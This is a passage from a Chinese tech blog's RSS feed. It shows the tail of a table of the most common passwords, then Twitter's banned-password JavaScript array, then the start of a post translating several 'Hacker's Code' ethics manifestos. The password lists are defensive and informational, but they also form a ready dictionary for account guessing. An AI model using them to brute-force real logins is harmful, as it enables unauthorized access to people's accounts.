</td>\n<td>chicago</td>\n<td>voyager</td>\n<td>pookie</td>\n<td>eagle</td>\n</tr>\n<tr>\n<td>62</td>\n<td>yankees</td>\n<td>joseph</td>\n<td>rangers</td>\n<td>packers</td>\n<td>hentai</td>\n</tr>\n<tr>\n<td>63</td>\n<td>joshua</td>\n<td>diablo</td>\n<td>birdie</td>\n<td>einstein</td>\n<td>newyork</td>\n</tr>\n<tr>\n<td>64</td>\n<td>maggie</td>\n<td>sexsex</td>\n<td>trouble</td>\n<td>dolphins</td>\n<td>little</td>\n</tr>\n<tr>\n<td>65</td>\n<td>biteme</td>\n<td>hardcore</td>\n<td>white</td>\n<td>0</td>\n<td>redwings</td>\n</tr>\n<tr>\n<td>66</td>\n<td>enter</td>\n<td>666666</td>\n<td>topgun</td>\n<td>chevy</td>\n<td>smith</td>\n</tr>\n<tr>\n<td>67</td>\n<td>ashley</td>\n<td>willie</td>\n<td>bigtits</td>\n<td>winston</td>\n<td>sticky</td>\n</tr>\n<tr>\n<td>68</td>\n<td>thunder</td>\n<td>welcome</td>\n<td>bitches</td>\n<td>warrior</td>\n<td>cocacola</td>\n</tr>\n<tr>\n<td>69</td>\n<td>cowboy</td>\n<td>chris</td>\n<td>green</td>\n<td>sammy</td>\n<td>animal</td>\n</tr>\n<tr>\n<td>70</td>\n<td>silver</td>\n<td>panther</td>\n<td>super</td>\n<td>slut</td>\n<td>broncos</td>\n</tr>\n<tr>\n<td>71</td>\n<td>richard</td>\n<td>yamaha</td>\n<td>qazwsx</td>\n<td>8675309</td>\n<td>private</td>\n</tr>\n<tr>\n<td>72</td>\n<td>fucker</td>\n<td>justin</td>\n<td>magic</td>\n<td>zxcvbnm</td>\n<td>skippy</td>\n</tr>\n<tr>\n<td>73</td>\n<td>orange</td>\n<td>banana</td>\n<td>lakers</td>\n<td>nipples</td>\n<td>marvin</td>\n</tr>\n<tr>\n<td>74</td>\n<td>merlin</td>\n<td>driver</td>\n<td>rachel</td>\n<td>power</td>\n<td>blondes</td>\n</tr>\n<tr>\n<td>75</td>\n<td>michelle</td>\n<td>marine</td>\n<td>slayer</td>\n<td>victoria</td>\n<td>enjoy</td>\n</tr>\n<tr>\n<td>76</td>\n<td>corvette</td>\n<td>angels</td>\n<td>scott</td>\n<td>asdfgh</td>\n<td>girl</td>\n</tr>\n<tr>\n<td>77</td>\n<td>bigdog</td>\n<td>fishing</td>\n<td>2222</td>\n<td>vagina</td>\n<td>apollo</td>\n</tr>\n<tr>\n<td>78</td>\n<td>cheese</td>\n<td>david</td>\n<td>asdf</td>\n<td>toyota</td>\n<td>parker</td>\n</tr>\n<tr>\n<td>79</td>\n<td>matthew</td>\n<td>maddog</td>\n<td>video</td>\n<td>travis</td>\n<td>qwert</td>\n</tr>\n<tr>\n<td>80</td>\n<td>121212</td>\n<td>hooters</td>\n<td>london</td>\n<td>hotdog</td>\n<td>time</td>\n</tr>\n<tr>\n<td>81</td>\n<td>patrick</td>\n<td>wilson</td>\n<td>7777</td>\n<td>paris</td>\n<td>sydney</td>\n</tr>\n<tr>\n<td>82</td>\n<td>martin</td>\n<td>butthead</td>\n<td>marlboro</td>\n<td>rock</td>\n<td>women</td>\n</tr>\n<tr>\n<td>83</td>\n<td>freedom</td>\n<td>dennis</td>\n<td>srinivas</td>\n<td>xxxx</td>\n<td>voodoo</td>\n</tr>\n<tr>\n<td>84</td>\n<td>ginger</td>\n<td>fucking</td>\n<td>internet</td>\n<td>extreme</td>\n<td>magnum</td>\n</tr>\n<tr>\n<td>85</td>\n<td>blowjob</td>\n<td>captain</td>\n<td>action</td>\n<td>redskins</td>\n<td>juice</td>\n</tr>\n<tr>\n<td>86</td>\n<td>nicole</td>\n<td>bigdick</td>\n<td>carter</td>\n<td>erotic</td>\n<td>abgrtyu</td>\n</tr>\n<tr>\n<td>87</td>\n<td>sparky</td>\n<td>chester</td>\n<td>jasper</td>\n<td>dirty</td>\n<td>777777</td>\n</tr>\n<tr>\n<td>88</td>\n<td>yellow</td>\n<td>smokey</td>\n<td>monster</td>\n<td>ford</td>\n<td>dreams</td>\n</tr>\n<tr>\n<td>89</td>\n<td>camaro</td>\n<td>xavier</td>\n<td>teresa</td>\n<td>freddy</td>\n<td>maxwell</td>\n</tr>\n<tr>\n<td>90</td>\n<td>secret</td>\n<td>steven</td>\n<td>jeremy</td>\n<td>arsenal</td>\n<td>music</td>\n</tr>\n<tr>\n<td>91</td>\n<td>dick</td>\n<td>viking</td>\n<td>11111111</td>\n<td>access14</td>\n<td>rush2112</td>\n</tr>\n<tr>\n<td>92</td>\n<td>falcon</td>\n<td>snoopy</td>\n<td>bill</td>\n<td>wolf</td>\n<td>russia</td>\n</tr>\n<tr>\n<td>93</td>\n<td>taylor</td>\n<td>blue</td>\n<td>crystal</td>\n<td>nipple</td>\n<td>scorpion</td>\n</tr>\n<tr>\n<td>94</td>\n<td>111111</td>\n<td>eagles</td>\n<td>peter</td>\n<td>iloveyou</td>\n<td>rebecca</td>\n</tr>\n<tr>\n<td>95</td>\n<td>131313</td>\n<td>winner</td>\n<td>pussies</td>\n<td>alex</td>\n<td>tester</td>\n</tr>\n<tr>\n<td>96</td>\n<td>123123</td>\n<td>samantha</td>\n<td>cock</td>\n<td>florida</td>\n<td>mistress</td>\n</tr>\n<tr>\n<td>97</td>\n<td>bitch</td>\n<td>house</td>\n<td>beer</td>\n<td>eric</td>\n<td>phantom</td>\n</tr>\n<tr>\n<td>98</td>\n<td>hello</td>\n<td>miller</td>\n<td>rocket</td>\n<td>legend</td>\n<td>billy</td>\n</tr>\n<tr>\n<td>99</td>\n<td>scooter</td>\n<td>flower</td>\n<td>theman</td>\n<td>movie</td>\n<td>6666</td>\n</tr>\n<tr>\n<td>100</td>\n<td>please</td>\n<td>jack</td>\n<td>oliver</td>\n<td>success</td>\n<td>albert</td>\n</tr>\n</tbody>\n</table>\n<p>打开twitter注册页看到的禁用口令</p>\n<p>//&lt;![CDATA[ twttr.BANNED_PASSWORDS = [&#8220;000000&#8221;, &#8220;111111&#8221;, &#8220;11111111&#8221;, &#8220;112233&#8221;, &#8220;121212&#8221;, &#8220;123123&#8221;, &#8220;123456&#8221;, &#8220;1234567&#8221;, &#8220;12345678&#8221;, &#8220;123456789&#8221;, &#8220;131313&#8221;, &#8220;232323&#8221;, &#8220;654321&#8221;, &#8220;666666&#8221;, &#8220;696969&#8221;, &#8220;777777&#8221;, &#8220;7777777&#8221;, &#8220;8675309&#8221;, &#8220;987654&#8221;, &#8220;aaaaaa&#8221;, &#8220;abc123&#8221;, &#8220;abc123&#8221;, &#8220;abcdef&#8221;, &#8220;abgrtyu&#8221;, &#8220;access&#8221;, &#8220;access14&#8221;, &#8220;action&#8221;, &#8220;albert&#8221;, &#8220;alberto&#8221;, &#8220;alexis&#8221;, &#8220;alejandra&#8221;, &#8220;alejandro&#8221;, &#8220;amanda&#8221;, &#8220;amateur&#8221;, &#8220;america&#8221;, &#8220;andrea&#8221;, &#8220;andrew&#8221;, &#8220;angela&#8221;, &#8220;angels&#8221;, &#8220;animal&#8221;, &#8220;anthony&#8221;, &#8220;apollo&#8221;, &#8220;apples&#8221;, &#8220;arsenal&#8221;, &#8220;arthur&#8221;, &#8220;asdfgh&#8221;, &#8220;asdfgh&#8221;, &#8220;ashley&#8221;, &#8220;asshole&#8221;, &#8220;august&#8221;, &#8220;austin&#8221;, &#8220;badboy&#8221;, &#8220;bailey&#8221;, &#8220;banana&#8221;, &#8220;barney&#8221;, &#8220;baseball&#8221;, &#8220;batman&#8221;, &#8220;beatriz&#8221;, &#8220;beaver&#8221;, &#8220;beavis&#8221;, &#8220;bigcock&#8221;, &#8220;bigdaddy&#8221;, &#8220;bigdick&#8221;, &#8220;bigdog&#8221;, &#8220;bigtits&#8221;, &#8220;birdie&#8221;, &#8220;bitches&#8221;, &#8220;biteme&#8221;, &#8220;blazer&#8221;, &#8220;blonde&#8221;, &#8220;blondes&#8221;, &#8220;blowjob&#8221;, &#8220;blowme&#8221;, &#8220;bond007&#8221;, &#8220;bonita&#8221;, &#8220;bonnie&#8221;, &#8220;booboo&#8221;, &#8220;booger&#8221;, &#8220;boomer&#8221;, &#8220;boston&#8221;, &#8220;brandon&#8221;, &#8220;brandy&#8221;, &#8220;braves&#8221;, &#8220;brazil&#8221;, &#8220;bronco&#8221;, &#8220;broncos&#8221;, &#8220;bulldog&#8221;, &#8220;buster&#8221;, &#8220;butter&#8221;, &#8220;butthead&#8221;, &#8220;calvin&#8221;, &#8220;camaro&#8221;, &#8220;cameron&#8221;, &#8220;canada&#8221;, &#8220;captain&#8221;, &#8220;carlos&#8221;, &#8220;carter&#8221;, &#8220;casper&#8221;, &#8220;charles&#8221;, &#8220;charlie&#8221;, &#8220;cheese&#8221;, &#8220;chelsea&#8221;, &#8220;chester&#8221;, &#8220;chicago&#8221;, &#8220;chicken&#8221;, &#8220;cocacola&#8221;, &#8220;coffee&#8221;, &#8220;college&#8221;, &#8220;compaq&#8221;, &#8220;computer&#8221;, &#8220;cookie&#8221;, &#8220;cooper&#8221;, &#8220;corvette&#8221;, &#8220;cowboy&#8221;, &#8220;cowboys&#8221;, &#8220;crystal&#8221;, &#8220;cumming&#8221;, &#8220;cumshot&#8221;, &#8220;dakota&#8221;, &#8220;dallas&#8221;, &#8220;daniel&#8221;, &#8220;danielle&#8221;, &#8220;debbie&#8221;, &#8220;dennis&#8221;, &#8220;diablo&#8221;, &#8220;diamond&#8221;, &#8220;doctor&#8221;, &#8220;doggie&#8221;, &#8220;dolphin&#8221;, &#8220;dolphins&#8221;, &#8220;donald&#8221;, &#8220;dragon&#8221;, &#8220;dreams&#8221;, &#8220;driver&#8221;, &#8220;eagle1&#8221;, &#8220;eagles&#8221;, &#8220;edward&#8221;, &#8220;einstein&#8221;, &#8220;erotic&#8221;, &#8220;estrella&#8221;, &#8220;extreme&#8221;, &#8220;falcon&#8221;, &#8220;fender&#8221;, &#8220;ferrari&#8221;, &#8220;firebird&#8221;, &#8220;fishing&#8221;, &#8220;florida&#8221;, &#8220;flower&#8221;, &#8220;flyers&#8221;, &#8220;football&#8221;, &#8220;forever&#8221;, &#8220;freddy&#8221;, &#8220;freedom&#8221;, &#8220;fucked&#8221;, &#8220;fucker&#8221;, &#8220;fucking&#8221;, &#8220;fuckme&#8221;, &#8220;fuckyou&#8221;, &#8220;gandalf&#8221;, &#8220;gateway&#8221;, &#8220;gators&#8221;, &#8220;gemini&#8221;, &#8220;george&#8221;, &#8220;giants&#8221;, &#8220;ginger&#8221;, &#8220;golden&#8221;, &#8220;golfer&#8221;, &#8220;gordon&#8221;, &#8220;gregory&#8221;, &#8220;guitar&#8221;, &#8220;gunner&#8221;, &#8220;hammer&#8221;, &#8220;hannah&#8221;, &#8220;hardcore&#8221;, &#8220;harley&#8221;, &#8220;heather&#8221;, &#8220;helpme&#8221;, &#8220;hentai&#8221;, &#8220;hockey&#8221;, &#8220;hooters&#8221;, &#8220;horney&#8221;, &#8220;hotdog&#8221;, &#8220;hunter&#8221;, &#8220;hunting&#8221;, &#8220;iceman&#8221;, &#8220;iloveyou&#8221;, &#8220;internet&#8221;, &#8220;iwantu&#8221;, &#8220;jackie&#8221;, &#8220;jackson&#8221;, &#8220;jaguar&#8221;, &#8220;jasmine&#8221;, &#8220;jasper&#8221;, &#8220;jennifer&#8221;, &#8220;jeremy&#8221;, &#8220;jessica&#8221;, &#8220;johnny&#8221;, &#8220;johnson&#8221;, &#8220;jordan&#8221;, &#8220;joseph&#8221;, &#8220;joshua&#8221;, &#8220;junior&#8221;, &#8220;justin&#8221;, &#8220;killer&#8221;, &#8220;knight&#8221;, &#8220;ladies&#8221;, &#8220;lakers&#8221;, &#8220;lauren&#8221;, &#8220;leather&#8221;, &#8220;legend&#8221;, &#8220;letmein&#8221;, &#8220;letmein&#8221;, &#8220;little&#8221;, &#8220;london&#8221;, &#8220;lovers&#8221;, &#8220;maddog&#8221;, &#8220;madison&#8221;, &#8220;maggie&#8221;, &#8220;magnum&#8221;, &#8220;marine&#8221;, &#8220;mariposa&#8221;, &#8220;marlboro&#8221;, &#8220;martin&#8221;, &#8220;marvin&#8221;, &#8220;master&#8221;, &#8220;matrix&#8221;, &#8220;matthew&#8221;, &#8220;maverick&#8221;, &#8220;maxwell&#8221;, &#8220;melissa&#8221;, &#8220;member&#8221;, &#8220;mercedes&#8221;, &#8220;merlin&#8221;, &#8220;michael&#8221;, &#8220;michelle&#8221;, &#8220;mickey&#8221;, &#8220;midnight&#8221;, &#8220;miller&#8221;, &#8220;mistress&#8221;, &#8220;monica&#8221;, &#8220;monkey&#8221;, &#8220;monkey&#8221;, &#8220;monster&#8221;, &#8220;morgan&#8221;, &#8220;mother&#8221;, &#8220;mountain&#8221;, &#8220;muffin&#8221;, &#8220;murphy&#8221;, &#8220;mustang&#8221;, &#8220;naked&#8221;, &#8220;nascar&#8221;, &#8220;nathan&#8221;, &#8220;naughty&#8221;, &#8220;ncc1701&#8221;, &#8220;newyork&#8221;, &#8220;nicholas&#8221;, &#8220;nicole&#8221;, &#8220;nipple&#8221;, &#8220;nipples&#8221;, &#8220;oliver&#8221;, &#8220;orange&#8221;, &#8220;packers&#8221;, &#8220;panther&#8221;, &#8220;panties&#8221;, &#8220;parker&#8221;, &#8220;password&#8221;, &#8220;password&#8221;, &#8220;password1&#8221;, &#8220;password12&#8221;, &#8220;password123&#8221;, &#8220;patrick&#8221;, &#8220;peaches&#8221;, &#8220;peanut&#8221;, &#8220;pepper&#8221;, &#8220;phantom&#8221;, &#8220;phoenix&#8221;, &#8220;player&#8221;, &#8220;please&#8221;, &#8220;pookie&#8221;, &#8220;porsche&#8221;, &#8220;prince&#8221;, &#8220;princess&#8221;, &#8220;private&#8221;, &#8220;purple&#8221;, &#8220;pussies&#8221;, &#8220;qazwsx&#8221;, &#8220;qwerty&#8221;, &#8220;qwertyui&#8221;, &#8220;rabbit&#8221;, &#8220;rachel&#8221;, &#8220;racing&#8221;, &#8220;raiders&#8221;, &#8220;rainbow&#8221;, &#8220;ranger&#8221;, &#8220;rangers&#8221;, &#8220;rebecca&#8221;, &#8220;redskins&#8221;, &#8220;redsox&#8221;, &#8220;redwings&#8221;, &#8220;richard&#8221;, &#8220;robert&#8221;, &#8220;roberto&#8221;, &#8220;rocket&#8221;, &#8220;rosebud&#8221;, &#8220;runner&#8221;, &#8220;rush2112&#8221;, &#8220;russia&#8221;, &#8220;samantha&#8221;, &#8220;sammy&#8221;, &#8220;samson&#8221;, &#8220;sandra&#8221;, &#8220;saturn&#8221;, &#8220;scooby&#8221;, &#8220;scooter&#8221;, &#8220;scorpio&#8221;, &#8220;scorpion&#8221;, &#8220;sebastian&#8221;, &#8220;secret&#8221;, &#8220;sexsex&#8221;, &#8220;shadow&#8221;, &#8220;shannon&#8221;, &#8220;shaved&#8221;, &#8220;sierra&#8221;, &#8220;silver&#8221;, &#8220;skippy&#8221;, &#8220;slayer&#8221;, &#8220;smokey&#8221;, &#8220;snoopy&#8221;, &#8220;soccer&#8221;, &#8220;sophie&#8221;, &#8220;spanky&#8221;, &#8220;sparky&#8221;, &#8220;spider&#8221;, &#8220;squirt&#8221;, &#8220;srinivas&#8221;, &#8220;startrek&#8221;, &#8220;starwars&#8221;, &#8220;steelers&#8221;, &#8220;steven&#8221;, &#8220;sticky&#8221;, &#8220;stupid&#8221;, &#8220;success&#8221;, &#8220;suckit&#8221;, &#8220;summer&#8221;, &#8220;sunshine&#8221;, &#8220;superman&#8221;, &#8220;surfer&#8221;, &#8220;swimming&#8221;, &#8220;sydney&#8221;, &#8220;tequiero&#8221;, &#8220;taylor&#8221;, &#8220;tennis&#8221;, &#8220;teresa&#8221;, &#8220;tester&#8221;, &#8220;testing&#8221;, &#8220;theman&#8221;, &#8220;thomas&#8221;, &#8220;thunder&#8221;, &#8220;thx1138&#8221;, &#8220;tiffany&#8221;, &#8220;tigers&#8221;, &#8220;tigger&#8221;, &#8220;tomcat&#8221;, &#8220;topgun&#8221;, &#8220;toyota&#8221;, &#8220;travis&#8221;, &#8220;trouble&#8221;, &#8220;trustno1&#8221;, &#8220;tucker&#8221;, &#8220;turtle&#8221;, &#8220;twitter&#8221;, &#8220;united&#8221;, &#8220;vagina&#8221;, &#8220;victor&#8221;, &#8220;victoria&#8221;, &#8220;viking&#8221;, &#8220;voodoo&#8221;, &#8220;voyager&#8221;, &#8220;walter&#8221;, &#8220;warrior&#8221;, &#8220;welcome&#8221;, &#8220;whatever&#8221;, &#8220;william&#8221;, &#8220;willie&#8221;, &#8220;wilson&#8221;, &#8220;winner&#8221;, &#8220;winston&#8221;, &#8220;winter&#8221;, &#8220;wizard&#8221;, &#8220;xavier&#8221;, &#8220;xxxxxx&#8221;, &#8220;xxxxxxxx&#8221;, &#8220;yamaha&#8221;, &#8220;yankee&#8221;, &#8220;yankees&#8221;, &#8220;yellow&#8221;, &#8220;zxcvbn&#8221;, &#8220;zxcvbnm&#8221;, &#8220;zzzzzz&#8221;];<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2451.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>黑客的价值观</title>\n\t\t<link>https://coolshell.cn/articles/2439.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2439.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 19 May 2010 00:50:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[hacker]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2439</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>黑客，可能在大家的眼里是那些入侵别人计算机搞破坏的人，其实并不是那样的。如果你这样认为了，只能说明你对计算机文化并不了解，真正的黑客是一种自由的象征，他们挑战权...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2439.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>黑客，可能在大家的眼里是那些入侵别人计算机搞破坏的人，其实并不是那样的。如果你这样认为了，只能说明你对计算机文化并不了解，真正的黑客是一种自由的象征，他们挑战权威，追求自由，并和很多非人类的行为作斗争。如果你想了解黑客文化，你一定要去看看我写的《Unix传奇，<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a>》。你会对正宗的计算机文化以及黑客文化有所了解的。而那些只懂得入侵别人计算机搞破坏活动的“黑客”只能称为是街头的小混混，他们根本就不配称黑客。</p>\n<p>下面有四篇关于“Hacker&#8217;s Code”文章，我觉得相当的不错，可以让你明白什么是黑客的行为规范，道德准则，以及黑客的历史使命，希望能对你有启发。但是翻译水平有限，所以我请<strong><a href=\"https://coolshell.cn/?author=3\" target=\"_blank\">Mailper</a><span style=\"font-weight: normal;\">同学帮忙翻译了一下，但还是觉得原文更为传神，尤其是原文中的押韵，双意以及朗朗上口，所以，下面提供了中英文对照。如果有翻译得不好的还请大家指正。</span></strong></p>\n<p><strong><span style=\"font-weight: normal;\"> </span></strong></p>\n<h1 style=\"text-align: center;\">The Hacker&#8217;s Code</h1>\n<p style=\"text-align: center;\"><a href=\"http://muq.org/~cynbe/hackers-code.html\" target=\"_blank\">http://muq.org/~cynbe/hackers-code.htm</a>l</p>\n<p><em>&#8220;A hacker of the Old Code.&#8221;</em></p>\n<ul>\n<li>Hackers come and go, but a great hack is forever.<br />\n黑客们来来往往，但是只有黑客的壮举是永存的</li>\n</ul>\n<ul>\n<li>Public goods belong to the public.<strong>*</strong><br />\n公众的东西是属于大众的</li>\n</ul>\n<ul>\n<li>Software hoarding is evil.<br />\nSoftware does the greatest good given to the greatest number.<br />\n圈养软件是邪恶的，最好的软件是有最多人使用的</li>\n</ul>\n<p><span id=\"more-2439\"></span></p>\n<ul>\n<li>Don&#8217;t be evil.<br />\n不作恶</li>\n</ul>\n<ul>\n<li>Sourceless software sucks.<br />\n不公开源码的软件是令人厌恶的</li>\n</ul>\n<ul>\n<li>People have rights.<br />\nOrganizations live on sufferance.<br />\n每个人都是有权利的，而组织是建立在互相的容忍上的</li>\n</ul>\n<ul>\n<li>Governments are organizations.<br />\n政府也是组织</li>\n</ul>\n<ul>\n<li>If it is wrong when citizens do it,<br />\nit is wrong when governments do it.<br />\n对与错的标准，对于公民和政府是同样适用的。(不能“只许州官放火不许百姓点灯”)</li>\n</ul>\n<ul>\n<li>Information wants to be free.<br />\nInformation <em>deserves</em> to be free.<br />\n信息需要自由（免费），信息也应该是是自由（免费）的</li>\n</ul>\n<ul>\n<li>Being legal doesn&#8217;t make it right.Being illegal doesn&#8217;t make it wrong.<br />\n合法的不一定是正确的，不合法不一定就是错误的</li>\n</ul>\n<ul>\n<li>Subverting tyranny is the highest duty.<br />\n推翻专制是黑客的最高天职</li>\n</ul>\n<ul>\n<li>Trust your technolust!<br />\n相信你的“技术贪欲”</li>\n</ul>\n<p><span>* <strong>Definition</strong>:<em> A good is <strong>public</strong> if the marginal  production cost is lower than the marginal billing cost.<br />\n<strong><span style=\"font-style: normal;\">定义</span></strong>： </em>一个好的公众事物仅当其边际产值小于其边际广告值。（<span style=\"font-size: 13px;\">关于<em> marginal production</em>是一个经济学术语，我不是很懂，大家可以参考<a href=\"http://hi.baidu.com/loftyambition/blog/item/90c586df69909f1b6227980b.html\" target=\"_blank\">这篇文章</a>）</span></span></p>\n<p><span><span style=\"font-size: 13px;\"> </span></span></p>\n<p><span><span style=\"font-size: 13px;\"> </span></span></p>\n<h1 style=\"text-align: center;\"><strong>The Hacker&#8217;s Code of Ethics</strong></h1>\n<p style=\"text-align: center;\"><a href=\"http://courses.cs.vt.edu/cs3604/lib/WorldCodes/Hackers.Code.html\" target=\"_blank\">http://courses.cs.vt.edu/cs3604/lib/WorldCodes/Hackers.Code.html</a></p>\n<p>Levy (1984) suggests that there is a &#8220;code of ethics&#8221; for hacking which, though not pasted on the walls, is in the air:</p>\n<p>列维认为黑客有一种准则，这种准则不是墙上贴着的，而是像空气一样无处不在的。</p>\n<ul>\n<li>Access to Computers &#8211; and anything which might teach you something about the way the world works &#8211; should be unlimited and total. Always yield to the Hands-On Imperative!<br />\n计算机的使用（就像任何教会你去了解这个世界的东西一样）应该是无限和无所不包的。真理来自实际动手操作。</li>\n</ul>\n<ul>\n<li>All information should be free.<br />\n所有的信息都应该是自由的（免费和不加限制的）</li>\n</ul>\n<ul>\n<li>Mistrust Authority &#8211; Promote Decentralization.<br />\n不要相信权威，推崇分权和群众的智慧</li>\n</ul>\n<ul>\n<li>Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.<br />\n英雄（黑客）不问出处，更不会去计较世俗的标准：学历，年龄，种族和职位高低。</li>\n</ul>\n<ul>\n<li>You can create art and beauty on a computer.<br />\n黑客可以在计算机上创造艺术和美。</li>\n</ul>\n<ul>\n<li>Computers can change your life for the better.<br />\n计算机可以提升你的生命。</li>\n</ul>\n<p><strong>Reference:</strong></p>\n<p>Levy, Steven. 1984. Hackers: Heroes of the Computer Revolution, Anchor Press/Doubleday, Garden City, NY, 458 pp.</p>\n<p>史蒂芬.列维 1984  黑客：计算机革命的英豪们， Achor Press&#8230; 第458页</p>\n<h1 style=\"text-align: center;\"><span style=\"color: green;\">DRAFT</span> The Hacker&#8217;s Code <span style=\"color: green;\">DRAFT</span></h1>\n<p style=\"text-align: center;\"><a href=\"http://www.petascale.org/code/code.html\" target=\"_blank\"><span style=\"font-weight: normal;\">http://www.petascale.org/code/code.html</span></a></p>\n<p>Preamble: We, the people of the electronic universe, in order to establish a  society of knowledge and skills, do hereby proclaim the following.</p>\n<p>导言：我们，数字领域的主宰者，为了建一个知识和技术的社区，我们发出下面的声明。</p>\n<p>Hackers are diverse, from all cultures and backgrounds. Every hacker is  unique, yet we all share some characteristics. While not every hacker follows  this Code, many believe it is a fair description of our shared traditions, goals  and values.</p>\n<p>黑客是各式各样的，无论是从文化还是背景。每个黑客都是唯一的，然后，我们是有一些相同的特质的。也许并不是所有的黑客都会跟从下面的准则，但大多数黑客都相信这是一个公正的惯例，目标和价值观。</p>\n<ul>\n<li>Hackers share and are willing to teach their knowledge<br />\n黑客共享并愿意传播他们的知识。</li>\n</ul>\n<ul>\n<li>Hackers are skilled. Many are self-taught, or learn by interacting with  other hackers.<br />\n黑客都是老手。他们中很多人要么是自学，要么是与别的黑客相互共世而成长的。</li>\n</ul>\n<ul>\n<li>Hackers seek knowledge. This knowledge may come from unauthorized or unusual  sources, and is often hidden.<br />\n黑客查找知识。那些知识可能是多一些未授权或是不寻常的通常都是被隐藏起来的地方来的。</li>\n</ul>\n<ul>\n<li>Hackers are tinkerers. They like to understand how things work, and want to  make their own improvements or modifications.<br />\n黑客都是些好管闲事的人。他们总是喜欢对事物刨根问底，而且总是要为改善那些事情加上自己的想法。</li>\n</ul>\n<ul>\n<li>Hackers often disagree with authority, including parents, employers, social  customs and laws. They often seek to circumvent authority they disagree with.<br />\n黑客通常都在挑战权威，包括家长，同事，用户以及法律。他们总是挑战那些他们并不认可以权威。</li>\n</ul>\n<ul>\n<li>Hackers disagree with each other. Different hackers have different values,  and come from all backgrounds. This means that what one hacker is opposed to  might be embraced by another.<br />\n黑客也是互不信任的。不同的黑客有不同的价值取向，而且也有相同的背景。也就是说，某个黑客被反对了，但也会被别的黑客所拥护。</li>\n</ul>\n<ul>\n<li>Hackers are persistent, and are willing to devote hours, days and years to  pursuing their individual passions.<br />\n黑客是永不放弃的。他们愿意全身心地把他们的热情投入到每一个小时，每一天，每一年中。</li>\n</ul>\n<ul>\n<li>This Code is not to prescribe how hackers act. Instead, it is to help us to  recognize our own diversity and identify.<br 